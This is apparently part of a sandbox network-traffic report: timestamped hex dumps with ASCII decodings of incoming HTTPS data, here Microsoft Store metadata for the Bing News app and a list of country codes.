2c 22 46 4f 22 2c 22 46 4a 22 2c 22 47 46 22 2c 22 50 46 22 2c 22 54 46 22 2c 22 47 41 22 2c 22 47 4d 22 2c 22 47 45 22
2c 22 47 48 22 2c 22 47 49 22 2c 22 47 4c 22 2c 22 47 44 22 2c 22 47 50 22 2c 22 47 55 22 2c 22 47 47 22 2c 22 47 4e 
22 2c 22 47 57 22 2c 22 47 59 22 2c 22 48 54 22 2c 22 48 4d 22 2c 22 48 4e 22 2c 22 41 5a 22 2c 22 42 53 22 2c 22 42 
42 22 2c 22 42 59 22 2c 22 42 5a 22 2c 22 42 4a 22 2c 22 42 4d 22 2c 22 42 54 22 2c 22 4b 4d 22 2c 22 43 47 22 2c 22 4
3 44 22 2c 22 43 4b 22 2c 22 43 58 22 2c 22 43 43 22 2c 22 43 49 
Data Ascii: ","CM","CV","KY","CF","TD","TL","DJ","DM","DO","EC","SV","GQ","ER","ET","FK","FO","FJ","GF","PF","
TF","GA","GM","GE","GH","GI","GL","GD","GP","GU","GG","GN","GW","GY","HT","HM","HN","AZ","BS","BB","BY","BZ","
BJ","BM","BT","KM","CG","CD","CK","CX","CC","CI
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2021-11-25 16:28:41 UTC 1763 IN Data Raw: 2c 22 50 54 22 2c 22 51 41 22 2c 22 52 4f 22 2c 22 52 55 22 2c 22 53 41 22 2c 22 52 53 22 2c 22 53 47 22 2c 
22 53 4b 22 2c 22 53 49 22 2c 22 5a 41 22 2c 22 4b 52 22 2c 22 45 53 22 2c 22 53 45 22 2c 22 43 48 22 2c 22 54 57 22 
2c 22 54 48 22 2c 22 54 54 22 2c 22 54 4e 22 2c 22 54 52 22 2c 22 55 41 22 2c 22 41 45 22 2c 22 47 42 22 2c 22 56 4e 
22 2c 22 59 45 22 2c 22 4c 59 22 2c 22 4c 4b 22 2c 22 55 59 22 2c 22 56 45 22 2c 22 41 46 22 2c 22 41 58 22 2c 22 41 4
c 22 2c 22 41 53 22 2c 22 41 4f 22 2c 22 41 49 22 2c 22 41 51 22 2c 22 41 47 22 2c 22 41 4d 22 2c 22 41 57 22 2c 22 42 
4f 22 2c 22 42 51 22 2c 22 42 41 22 2c 22 42 57 22 2c 22 42 56 22 2c 22 49 4f 22 2c 22 42 4e 22 2c 22 42 46 22 2c 22 42 
49 22 2c 22 4b 48 22 2c 22 43 4d 22 2c 22 43 56 22 2c 22 4b 59 22 
Data Ascii: ,"PT","QA","RO","RU","SA","RS","SG","SK","SI","ZA","KR","ES","SE","CH","TW","TH","TT","TN","TR","U
A","AE","GB","VN","YE","LY","LK","UY","VE","AF","AX","AL","AS","AO","AI","AQ","AG","AM","AW","BO","BQ","BA","B
W","BV","IO","BN","BF","BI","KH","CM","CV","KY"

2021-11-25 16:28:41 UTC 1767 IN Data Raw: 31 32 34 2e 37 30 5f 6e 65 75 74 72 61 6c 5f 7e 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 63 
6f 6e 74 65 6e 74 2e 70 72 6f 64 75 63 74 49 64 5c 22 3a 5c 22 39 63 33 65 38 63 61 64 2d 36 37 30 32 2d 34 38 34 32 2d 
38 66 36 31 2d 62 38 62 33 33 63 63 39 63 61 66 31 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 61 72 67 65 74 50 6c 61 
74 66 6f 72 6d 73 5c 22 3a 5b 7b 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 61 78 56 65 72 73 69 6f 6e 54 65 73 74 65 64 5c 22 
3a 32 38 31 34 37 35 30 38 39 30 30 30 30 33 38 34 2c 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 69 6e 56 65 72 73 69 6f 6e 5c 
22 3a 32 38 31 34 37 35 30 37 35 34 32 37 35 33 32 38 2c 5c 22 70 6c 61 74 66 6f 72 6d 2e 74 61 72 67 65 74 5c 22 3a 
35 7d 5d 2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 79 70 65 5c 22 3a 
Data Ascii: 124.70_neutral_~_8wekyb3d8bbwe\",\"content.productId\":\"9c3e8cad-6702-4842-8f61-b8b33cc9caf1\",\"
content.targetPlatforms\":[{\"platform.maxVersionTested\":2814750890000384,\"platform.minVersion\":28147507542
75328,\"platform.target\":5}],\"content.type\":

2021-11-25 16:28:41 UTC 1771 IN Data Raw: 37 38 32 34 2c 5c 22 70 6c 61 74 66 6f 72 6d 2e 74 61 72 67 65 74 5c 22 3a 35 7d 5d 2c 5c 22 63 6f 6e 74 65 
6e 74 2e 74 79 70 65 5c 22 3a 37 2c 5c 22 70 6f 6c 69 63 79 5c 22 3a 7b 5c 22 63 61 74 65 67 6f 72 79 2e 66 69 72 73 74 
5c 22 3a 5c 22 61 70 70 5c 22 2c 5c 22 63 61 74 65 67 6f 72 79 2e 73 65 63 6f 6e 64 5c 22 3a 5c 22 4e 65 77 73 20 26 20 
77 65 61 74 68 65 72 5c 22 2c 5c 22 63 61 74 65 67 6f 72 79 2e 74 68 69 72 64 5c 22 3a 5c 22 4e 65 77 73 5c 22 2c 5c 22 
6f 70 74 4f 75 74 2e 62 61 63 6b 75 70 52 65 73 74 6f 72 65 5c 22 3a 74 72 75 65 2c 5c 22 6f 70 74 4f 75 74 2e 72 65 6d 
6f 76 65 61 62 6c 65 4d 65 64 69 61 5c 22 3a 66 61 6c 73 65 7d 2c 5c 22 70 6f 6c 69 63 79 32 5c 22 3a 7b 5c 22 61 67 65 
52 61 74 69 6e 67 5c 22 3a 31 2c 5c 22 6f 70 74 4f 75 74 
Data Ascii: 7824,\"platform.target\":5}],\"content.type\":7,\"policy\":{\"category.first\":\"app\",\"category.second\":\"News & we
ather\",\"category.third\":\"News\",\"optOut.backupRestore\":true,\"optOut.removeableMedia\":false},\"policy2\":{\"ageRa
ting\":1,\"optOut

2021-11-25 16:28:41 UTC 1775 IN Data Raw: 6c 73 65 7d 2c 5c 22 70 6f 6c 69 63 79 32 5c 22 3a 7b 5c 22 61 67 65 52 61 74 69 6e 67 5c 22 3a 31 2c 5c 22 
6f 70 74 4f 75 74 2e 44 56 52 5c 22 3a 66 61 6c 73 65 2c 5c 22 74 68 69 72 64 50 61 72 74 79 41 70 70 52 61 74 69 6e 67 
73 5c 22 3a 5b 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 33 7d 2c 7b 5c 22 6c 65 76
65 6c 5c 22 3a 31 32 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 34 38 2c 5c 22 
73 79 73 74 65 6d 49 64 5c 22 3a 31 32 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 32 37 2c 5c 22 73 79 73 74 65 6d 49 64 
5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 36 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 36 7d 2c 7b 5c 
22 6c 65 76 65 6c 5c 22 3a 36 38 2c 5c 22 73 79 73 74 65 6d 49 
Data Ascii: lse},\"policy2\":{\"ageRating\":1,\"optOut.DVR\":false,\"thirdPartyAppRatings\":[{\"level\":7,\"systemId\":3},{\"level
\":12,\"systemId\":5},{\"level\":48,\"systemId\":12},{\"level\":27,\"systemId\":9},{\"level\":76,\"systemId\":16},{\"level\":68,\"
systemI

2021-11-25 16:28:41 UTC 1779 IN Data Raw: 36 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 36 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 36 38 2c 5c 22 73 
79 73 74 65 6d 49 64 5c 22 3a 31 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 35 34 2c 5c 22 73 79 73 74 65 6d 49 64 5c 
22 3a 31 33 7d 5d 7d 7d 22 2c 22 50 61 63 6b 61 67 65 44 6f 77 6e 6c 6f 61 64 55 72 69 73 22 3a 6e 75 6c 6c 2c 22 46 75 
6c 66 69 6c 6c 6d 65 6e 74 44 61 74 61 22 3a 7b 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 57 5a 44 4e 43 52 46 48 56 
46 57 22 2c 22 57 75 42 75 6e 64 6c 65 49 64 22 3a 22 33 61 63 35 39 66 34 65 2d 31 63 64 63 2d 34 37 36 65 2d 61 37 3
2 61 2d 61 64 35 32 63 61 65 36 61 30 63 64 22 2c 22 57 75 43 61 74 65 67 6f 72 79 49 64 22 3a 22 65 61 61 66 32 63 65 
33 2d 64 35 61 33 2d 34 61 35 39 2d 61 65 33 31 2d 32 37 36 66 62 
Data Ascii: 6,\"systemId\":16},{\"level\":68,\"systemId\":15},{\"level\":54,\"systemId\":13}]}}","PackageDownloadUris":n
ull,"FulfillmentData":{"ProductId":"9WZDNCRFHVFW","WuBundleId":"3ac59f4e-1cdc-476e-a72a-ad52cae6a0cd
","WuCategoryId":"eaaf2ce3-d5a3-4a59-ae31-276fb

2021-11-25 16:28:41 UTC 1783 IN Data Raw: 2c 22 57 75 43 61 74 65 67 6f 72 79 49 64 22 3a 22 65 61 61 66 32 63 65 33 2d 64 35 61 33 2d 34 61 35 39 2d 
61 65 33 31 2d 32 37 36 66 62 63 34 34 61 37 63 64 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 
22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 53 6b 75 49 
64 22 3a 22 30 30 31 30 22 2c 22 43 6f 6e 74 65 6e 74 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 65 61 74 75 72 
65 73 22 3a 6e 75 6c 6c 7d 7d 2c 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 73 22 3a 5b 7b 22 41 70 70 6c 69 63 61 74 69 6f 
6e 49 64 22 3a 22 41 70 70 65 78 4e 65 77 73 22 7d 5d 2c 22 41 72 63 68 69 74 65 63 74 75 72 65 73 22 3a 5b 22 61 72 
6d 22 2c 22 78 38 36 22 2c 22 78 36 34 22 5d 2c 22 43 61 70 61 62 
Data Ascii: ,"WuCategoryId":"eaaf2ce3-d5a3-4a59-ae31-276fbc44a7cd","PackageFamilyName":"Microsoft.BingNews_8we
kyb3d8bbwe","SkuId":"0010","Content":null,"PackageFeatures":null}},{"Applications":[{"ApplicationId":"AppexNews"}],"Arch
itectures":["arm","x86","x64"],"Capab

2021-11-25 16:28:41 UTC 1787 IN Data Raw: 22 7d 5d 2c 22 41 72 63 68 69 74 65 63 74 75 72 65 73 22 3a 5b 22 61 72 6d 22 2c 22 78 38 36 22 2c 22 78 36 
34 22 5d 2c 22 43 61 70 61 62 69 6c 69 74 69 65 73 22 3a 5b 22 69 6e 74 65 72 6e 65 74 43 6c 69 65 6e 74 22 5d 2c 22 
45 78 70 65 72 69 65 6e 63 65 49 64 73 22 3a 5b 5d 2c 22 4d 61 78 44 6f 77 6e 6c 6f 61 64 53 69 7a 65 49 6e 42 79 74 65 
73 22 3a 33 39 32 36 34 35 34 31 2c 22 4d 61 78 49 6e 73 74 61 6c 6c 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 33 35 37 
30 30 37 33 36 2c 22 50 61 63 6b 61 67 65 46 6f 72 6d 61 74 22 3a 22 41 70 70 78 42 75 6e 64 6c 65 22 2c 22 50 61 63 6
b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 38 77 65 6b 7
9 62 33 64 38 62 62 77 65 22 2c 22 4d 61 69 6e 50 61 63 6b 61 67 
Data Ascii: "}],"Architectures":["arm","x86","x64"],"Capabilities":["internetClient"],"ExperienceIds":[],"MaxDownloadSiz
eInBytes":39264541,"MaxInstallSizeInBytes":35700736,"PackageFormat":"AppxBundle","PackageFamilyName":"Microsof
t.BingNews_8wekyb3d8bbwe","MainPackag

2021-11-25 16:28:41 UTC 1791 IN Data Raw: 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 
4d 61 69 6e 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 46 6f 72 44 6c 63 22 3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 
67 65 46 75 6c 6c 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 34 2e 37 2e 32 32 30 30 
32 2e 30 5f 6e 65 75 74 72 61 6c 5f 7e 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 22 2c 22 50 61 63 6b 61 67 65 49 64 22 
3a 22 31 61 62 31 37 65 34 66 2d 63 64 66 66 2d 39 35 31 64 2d 34 64 66 61 2d 35 32 65 61 63 37 36 61 64 64 33 63 2d 
58 38 36 2d 58 36 34 2d 41 72 6d 22 2c 22 50 61 63 6b 61 67 65 52 61 6e 6b 22 3a 33 30 31 34 33 2c 22 50 6c 61 74 66 
6f 72 6d 44 65 70 65 6e 64 65 6e 63 69 65 73 22 3a 5b 7b 22 4d 
Data Ascii: "Microsoft.BingNews_8wekyb3d8bbwe","MainPackageFamilyNameForDlc":null,"PackageFullName":"Microsoft
.BingNews_4.7.22002.0_neutral_~_8wekyb3d8bbwe","PackageId":"1ab17e4f-cdff-951d-4dfa-52eac76add3c-X86-X64-
Arm","PackageRank":30143,"PlatformDependencies":[{"M

Timestamp
kBytes
transferred Direction Data
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2021-11-25 16:28:41 UTC 1795 IN Data Raw: 50 61 63 6b 61 67 65 52 61 6e 6b 22 3a 33 30 31 36 33 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 
63 69 65 73 22 3a 5b 7b 22 4d 61 78 54 65 73 74 65 64 22 3a 32 38 31 34 37 35 30 39 33 31 32 32 32 35 32 38 2c 22 4d 
69 6e 56 65 72 73 69 6f 6e 22 3a 32 38 31 34 37 35 30 38 33 35 32 37 37 38 32 34 2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 
65 22 3a 22 57 69 6e 64 6f 77 73 2e 55 6e 69 76 65 72 73 61 6c 22 7d 5d 2c 22 50 6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 
65 6e 63 79 58 6d 6c 42 6c 6f 62 22 3a 22 7b 5c 22 62 6c 6f 62 2e 76 65 72 73 69 6f 6e 5c 22 3a 31 36 38 38 38 36 37 30 
34 30 35 32 36 33 33 36 2c 5c 22 63 6f 6e 74 65 6e 74 2e 62 75 6e 64 6c 65 64 50 61 63 6b 61 67 65 73 5c 22 3a 5b 5c 
22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 34 
Data Ascii: PackageRank":30163,"PlatformDependencies":[{"MaxTested":2814750931222528,"MinVersion":281475083527
7824,"PlatformName":"Windows.Universal"}],"PlatformDependencyXmlBlob":"{\"blob.version\":1688867040526336,\"co
ntent.bundledPackages\":[\"Microsoft.BingNews_4

2021-11-25 16:28:41 UTC 1799 IN Data Raw: 65 6e 74 2e 62 75 6e 64 6c 65 64 50 61 63 6b 61 67 65 73 5c 22 3a 5b 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 42 
69 6e 67 4e 65 77 73 5f 34 2e 34 37 2e 32 32 31 38 31 2e 30 5f 61 72 6d 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 
22 2c 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 34 2e 34 37 2e 32 32 31 38 31 2e 30 5f 78 36 34 5f 
5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 2c 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 34 2e 
34 37 2e 32 32 31 38 31 2e 30 5f 78 38 36 5f 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 5c 22 5d 2c 5c 22 63 6f 6e 74 65 
6e 74 2e 69 73 4d 61 69 6e 5c 22 3a 66 61 6c 73 65 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 61 63 6b 61 67 65 49 64 5c 22 
3a 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 
Data Ascii: ent.bundledPackages\":[\"Microsoft.BingNews_4.47.22181.0_arm__8wekyb3d8bbwe\",\"Microsoft.BingNews
_4.47.22181.0_x64__8wekyb3d8bbwe\",\"Microsoft.BingNews_4.47.22181.0_x86__8wekyb3d8bbwe\"],\"content.isMain\":
false,\"content.packageId\":\"Microsoft.BingNew

2021-11-25 16:28:41 UTC 1803 IN Data Raw: 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 61 63 6b 61 67 65 49 64 5c 22 3a 5c 22 4d 69 63 72 6f 73 6f 66 74 2e 42 
69 6e 67 4e 65 77 73 5f 34 2e 38 2e 36 30 30 31 2e 30 5f 6e 65 75 74 72 61 6c 5f 7e 5f 38 77 65 6b 79 62 33 64 38 62 62 
77 65 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 70 72 6f 64 75 63 74 49 64 5c 22 3a 5c 22 39 63 33 65 38 63 61 64 2d 36 37 
30 32 2d 34 38 34 32 2d 38 66 36 31 2d 62 38 62 33 33 63 63 39 63 61 66 31 5c 22 2c 5c 22 63 6f 6e 74 65 6e 74 2e 74 
61 72 67 65 74 50 6c 61 74 66 6f 72 6d 73 5c 22 3a 5b 7b 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 61 78 56 65 72 73 69 6f 6e 
54 65 73 74 65 64 5c 22 3a 32 38 31 34 37 35 30 39 33 31 32 32 32 35 32 38 2c 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 69 
6e 56 65 72 73 69 6f 6e 5c 22 3a 32 38 31 34 37 35 30 38 33 35 
Data Ascii: ,\"content.packageId\":\"Microsoft.BingNews_4.8.6001.0_neutral_~_8wekyb3d8bbwe\",\"content.product
Id\":\"9c3e8cad-6702-4842-8f61-b8b33cc9caf1\",\"content.targetPlatforms\":[{\"platform.maxVersionTested\":2814
750931222528,\"platform.minVersion\":2814750835

2021-11-25 16:28:41 UTC 1807 IN Data Raw: 31 32 32 32 35 32 38 2c 5c 22 70 6c 61 74 66 6f 72 6d 2e 6d 69 6e 56 65 72 73 69 6f 6e 5c 22 3a 32 38 31 34 
37 35 30 38 33 35 32 37 37 38 32 34 2c 5c 22 70 6c 61 74 66 6f 72 6d 2e 74 61 72 67 65 74 5c 22 3a 30 7d 5d 2c 5c 22 63
6f 6e 74 65 6e 74 2e 74 79 70 65 5c 22 3a 37 2c 5c 22 70 6f 6c 69 63 79 5c 22 3a 7b 5c 22 63 61 74 65 67 6f 72 79 2e 66 
69 72 73 74 5c 22 3a 5c 22 61 70 70 5c 22 2c 5c 22 63 61 74 65 67 6f 72 79 2e 73 65 63 6f 6e 64 5c 22 3a 5c 22 4e 65 77 
73 20 26 20 77 65 61 74 68 65 72 5c 22 2c 5c 22 63 61 74 65 67 6f 72 79 2e 74 68 69 72 64 5c 22 3a 5c 22 4e 65 77 73 5c 
22 2c 5c 22 6f 70 74 4f 75 74 2e 62 61 63 6b 75 70 52 65 73 74 6f 72 65 5c 22 3a 74 72 75 65 2c 5c 22 6f 70 74 4f 75 74 
2e 72 65 6d 6f 76 65 61 62 6c 65 4d 65 64 69 61 5c 22 3a 
Data Ascii: 1222528,\"platform.minVersion\":2814750835277824,\"platform.target\":0}],\"content.type\":7,\"policy\":{\"ca
tegory.first\":\"app\",\"category.second\":\"News & weather\",\"category.third\":\"News\",\"optOut.backupRestore\":true,
\"optOut.removeableMedia\":

2021-11-25 16:28:41 UTC 1811 IN Data Raw: 6b 75 70 52 65 73 74 6f 72 65 5c 22 3a 74 72 75 65 2c 5c 22 6f 70 74 4f 75 74 2e 72 65 6d 6f 76 65 61 62 6c 
65 4d 65 64 69 61 5c 22 3a 66 61 6c 73 65 7d 2c 5c 22 70 6f 6c 69 63 79 32 5c 22 3a 7b 5c 22 61 67 65 52 61 74 69 6e 67 
5c 22 3a 31 2c 5c 22 6f 70 74 4f 75 74 2e 44 56 52 5c 22 3a 66 61 6c 73 65 2c 5c 22 74 68 69 72 64 50 61 72 74 79 41 70 
70 52 61 74 69 6e 67 73 5c 22 3a 5b 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 33 
7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 31 32 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 35 7d 2c 7b 5c 22 6c 65 76 65 6c
5c 22 3a 34 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 32 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 32 37 2c 5c 22 73
79 73 74 65 6d 49 64 5c 22 3a 39 7d 2c 7b 5c 22 6c 65 76 65 
Data Ascii: kupRestore\":true,\"optOut.removeableMedia\":false},\"policy2\":{\"ageRating\":1,\"optOut.DVR\":false,\"thir
dPartyAppRatings\":[{\"level\":7,\"systemId\":3},{\"level\":12,\"systemId\":5},{\"level\":48,\"systemId\":12},{\"level\":27,\"syst
emId\":9},{\"leve

2021-11-25 16:28:41 UTC 1815 IN Data Raw: 64 5c 22 3a 31 32 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 32 37 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 39 
7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 37 36 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 36 7d 2c 7b 5c 22 6c 65 76 65 
6c 5c 22 3a 36 38 2c 5c 22 73 79 73 74 65 6d 49 64 5c 22 3a 31 35 7d 2c 7b 5c 22 6c 65 76 65 6c 5c 22 3a 35 34 2c 5c 
22 73 79 73 74 65 6d 49 64 5c 22 3a 31 33 7d 5d 7d 7d 22 2c 22 50 61 63 6b 61 67 65 44 6f 77 6e 6c 6f 61 64 55 72 69 73 
22 3a 6e 75 6c 6c 2c 22 46 75 6c 66 69 6c 6c 6d 65 6e 74 44 61 74 61 22 3a 7b 22 50 72 6f 64 75 63 74 49 64 22 3a 22 39 
57 5a 44 4e 43 52 46 48 56 46 57 22 2c 22 57 75 42 75 6e 64 6c 65 49 64 22 3a 22 33 61 63 35 39 66 34 65 2d 31 63 64 
63 2d 34 37 36 65 2d 61 37 32 61 2d 61 64 35 32 63 61 65 36 61 
Data Ascii: d\":12},{\"level\":27,\"systemId\":9},{\"level\":76,\"systemId\":16},{\"level\":68,\"systemId\":15},{\"level\":54,\"sy
stemId\":13}]}}","PackageDownloadUris":null,"FulfillmentData":{"ProductId":"9WZDNCRFHVFW","WuBundleId":"3ac59f4e-
1cdc-476e-a72a-ad52cae6a

2021-11-25 16:28:41 UTC 1819 IN Data Raw: 57 75 42 75 6e 64 6c 65 49 64 22 3a 22 33 61 63 35 39 66 34 65 2d 31 63 64 63 2d 34 37 36 65 2d 61 37 32 61 
2d 61 64 35 32 63 61 65 36 61 30 63 64 22 2c 22 57 75 43 61 74 65 67 6f 72 79 49 64 22 3a 22 65 61 61 66 32 63 65 33 
2d 64 35 61 33 2d 34 61 35 39 2d 61 65 33 31 2d 32 37 36 66 62 63 34 34 61 37 63 64 22 2c 22 50 61 63 6b 61 67 65 46 
61 6d 69 6c 79 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 38 77 65 6b 79 62 33 64 38 
62 62 77 65 22 2c 22 53 6b 75 49 64 22 3a 22 30 30 31 30 22 2c 22 43 6f 6e 74 65 6e 74 22 3a 6e 75 6c 6c 2c 22 50 61 63 
6b 61 67 65 46 65 61 74 75 72 65 73 22 3a 6e 75 6c 6c 7d 7d 2c 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 73 22 3a 5b 7b 2
2 41 70 70 6c 69 63 61 74 69 6f 6e 49 64 22 3a 22 41 70 70 65 78 
Data Ascii: WuBundleId":"3ac59f4e-1cdc-476e-a72a-ad52cae6a0cd","WuCategoryId":"eaaf2ce3-d5a3-4a59-ae31-276fbc4
4a7cd","PackageFamilyName":"Microsoft.BingNews_8wekyb3d8bbwe","SkuId":"0010","Content":null,"PackageFeatures":
null}},{"Applications":[{"ApplicationId":"Appex

2021-11-25 16:28:41 UTC 1823 IN Data Raw: 75 6c 6c 7d 7d 2c 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 73 22 3a 5b 7b 22 41 70 70 6c 69 63 61 74 69 6f 6e 
49 64 22 3a 22 41 70 70 65 78 4e 65 77 73 22 7d 5d 2c 22 41 72 63 68 69 74 65 63 74 75 72 65 73 22 3a 5b 22 78 36 34 
22 2c 22 61 72 6d 22 2c 22 78 38 36 22 5d 2c 22 43 61 70 61 62 69 6c 69 74 69 65 73 22 3a 5b 22 69 6e 74 65 72 6e 65 
74 43 6c 69 65 6e 74 22 5d 2c 22 45 78 70 65 72 69 65 6e 63 65 49 64 73 22 3a 5b 5d 2c 22 4d 61 78 44 6f 77 6e 6c 6f 61 
64 53 69 7a 65 49 6e 42 79 74 65 73 22 3a 39 34 30 33 32 34 34 30 2c 22 4d 61 78 49 6e 73 74 61 6c 6c 53 69 7a 65 49 6
e 42 79 74 65 73 22 3a 33 35 31 37 32 33 35 32 2c 22 50 61 63 6b 61 67 65 46 6f 72 6d 61 74 22 3a 22 45 41 70 70 78 42 
75 6e 64 6c 65 22 2c 22 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 
Data Ascii: ull}},{"Applications":[{"ApplicationId":"AppexNews"}],"Architectures":["x64","arm","x86"],"Capabilities":["i
nternetClient"],"ExperienceIds":[],"MaxDownloadSizeInBytes":94032440,"MaxInstallSizeInBytes":35172352,"Package
Format":"EAppxBundle","PackageFamilyN
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2021-11-25 16:28:41 UTC 1827 IN Data Raw: 2c 22 50 61 63 6b 61 67 65 46 6f 72 6d 61 74 22 3a 22 45 41 70 70 78 42 75 6e 64 6c 65 22 2c 22 50 61 63 6b 
61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 38 77 65 6b 79 
62 33 64 38 62 62 77 65 22 2c 22 4d 61 69 6e 50 61 63 6b 61 67 65 46 61 6d 69 6c 79 4e 61 6d 65 46 6f 72 44 6c 63 22 
3a 6e 75 6c 6c 2c 22 50 61 63 6b 61 67 65 46 75 6c 6c 4e 61 6d 65 22 3a 22 4d 69 63 72 6f 73 6f 66 74 2e 42 69 6e 67 4e 
65 77 73 5f 34 2e 39 2e 33 31 30 30 31 2e 37 30 5f 6e 65 75 74 72 61 6c 5f 7e 5f 38 77 65 6b 79 62 33 64 38 62 62 77 65 
22 2c 22 50 61 63 6b 61 67 65 49 64 22 3a 22 32 65 36 34 63 36 35 62 2d 64 61 32 30 2d 61 32 39 35 2d 34 63 33 64 2d 
66 31 66 31 36 38 62 35 34 66 32 36 2d 58 38 36 2d 58 36 34 2d 
Data Ascii: ,"PackageFormat":"EAppxBundle","PackageFamilyName":"Microsoft.BingNews_8wekyb3d8bbwe","M
ainPackageFamilyNameForDlc":null,"PackageFullName":"Microsoft.BingNews_4.9.31001.70_neutral_~_8wekyb
3d8bbwe","PackageId":"2e64c65b-da20-a295-4c3d-f1f168b54f26-X86-X64-

2021-11-25 16:28:41 UTC 1831 IN Data Raw: 61 33 31 66 35 37 30 62 2d 39 63 32 65 2d 36 65 32 38 2d 37 61 35 64 2d 39 35 30 35 63 30 61 37 33 33 35 
64 2d 58 38 36 2d 58 36 34 2d 41 72 6d 22 2c 22 50 61 63 6b 61 67 65 52 61 6e 6b 22 3a 33 30 33 34 33 2c 22 50 6c 61 
74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 69 65 73 22 3a 5b 7b 22 4d 61 78 54 65 73 74 65 64 22 3a 32 38 31 34 37 35 3
0 39 33 31 32 32 32 35 32 38 2c 22 4d 69 6e 56 65 72 73 69 6f 6e 22 3a 32 38 31 34 37 35 30 38 33 35 32 37 37 38 32 34 
2c 22 50 6c 61 74 66 6f 72 6d 4e 61 6d 65 22 3a 22 57 69 6e 64 6f 77 73 2e 55 6e 69 76 65 72 73 61 6c 22 7d 5d 2c 22 50 
6c 61 74 66 6f 72 6d 44 65 70 65 6e 64 65 6e 63 79 58 6d 6c 42 6c 6f 62 22 3a 22 7b 5c 22 62 6c 6f 62 2e 76 65 72 73 69 
6f 6e 5c 22 3a 31 36 38 38 38 36 37 30 34 30 35 32 36 33 33 36 2c 
Data Ascii: a31f570b-9c2e-6e28-7a5d-9505c0a7335d-X86-X64-Arm","PackageRank":30343,"PlatformDependencies":[{"Ma
xTested":2814750931222528,"MinVersion":2814750835277824,"PlatformName":"Windows.Universal"}],"Platfo
rmDependencyXmlBlob":"{\"blob.version\":1688867040526336,

2021-11-25 16:28:41 UTC 1835 IN Data Raw: 42 6c 6f 62 22 3a 22 7b 5c 22 62 6c 6f 62 2e 76 65 72 73 69 6f 6e 5c 22 3a 31 36 38 38 38 36 37 30 34 30 35 
32 36 33 33 36 2c 5c 22 63 6f 6e 74 65 6e 74 2e 62 75 6e 64 6c 65 64 50 61 63 6b 61 67 65 73 5c 22 3a 5b 5c 22 4d 69 63
72 6f 73 6f 66 74 2e 42 69 6e 67 4e 65 77 73 5f 34 2e 35 34 2e 32 32 37 34 31 2e 37 30 5f 78 38 36 5f 5f 38 77 65 6b 79 
